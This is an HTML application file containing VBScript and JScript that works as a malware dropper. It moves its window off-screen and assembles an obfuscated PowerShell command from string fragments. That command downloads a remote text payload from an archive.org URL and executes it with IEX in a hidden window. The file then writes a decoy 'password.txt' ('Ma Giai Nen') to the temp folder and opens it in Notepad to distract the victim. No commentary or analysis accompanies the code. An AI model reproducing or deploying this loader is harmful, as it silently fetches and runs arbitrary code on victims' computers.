<HTML>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8">
<HEAD>
<script language="VBScript">
Window.ReSizeTo 0, 0
Window.moveTo -3000,-3000
Dim ox
Set ox= CreateObject("WScript.Shell")
aa="p" +"o" & "w"
bb="e" & "rs"
cc="h" & "ell"
dd = " $v0 ='N#t.@@#b'.Replace('#','e').Replace('@@','w');$v00 = '%li!!'.Replace('%','C').R"
ee ="eplace('!!','ent');$V000 = 'D$$$$$$$$$$$n%%%%%%%%%%%%ng'.Replace('%%%%%%%%%%%%','loadStri').Replace('$$$$$$$$$$$','ow');$v1 = '$e^'.rep"
gg = "lace('$','I').replace('^','x');$v9999 = '(Ne`W&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&00(''https://ia601508.us.archive.org/15/items/all_20210419_20210419/ALL.txt'')'.Replace('&&&&&&&&&&&&&&&&&&&&&&"
kk ="&&&&&&&&&&&','-O`BjEcT $v0$v00 ).$V0');$TC=I`E`X ($v9999 -Join '')|I`E`X"
OK = aa+bb+cc+dd++ee+gg+kk+"  "
ox.Run OK,0
Dim fso
Dim oShell
Dim FileName
Dim oFile

'This bit turns "%TEMP%" into a real file path
Set oShell = CreateObject("WScript.Shell")
FileName = oShell.ExpandEnvironmentStrings("%Temp%\password.txt")
Set oShell = Nothing 'Tidy up the Objects we no longer need

'This bit creates the file
Set fso = CreateObject("Scripting.FileSystemObject")
Set oFile = fso.CreateTextFile(FileName)
oFile.WriteLine "Ma Giai Nen"
oFile.Close
Set oFile = Nothing 'Tidy up the Objects we no longer need
Set fso = Nothing 'Tidy up the Objects we no longer need

CreateObject("WScript.Shell").Run(FileName)
self.close
</script>


<script>
function ExecuteApp(){
var ObjShell = new ActiveXObject("Shell.Application");
var ApptoRun = "Notepad.exe";

ObjShell.ShellExecute(ApptoRun, "%Temp%\password.txt");
}
ExecuteApp()
</script>
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</HTML>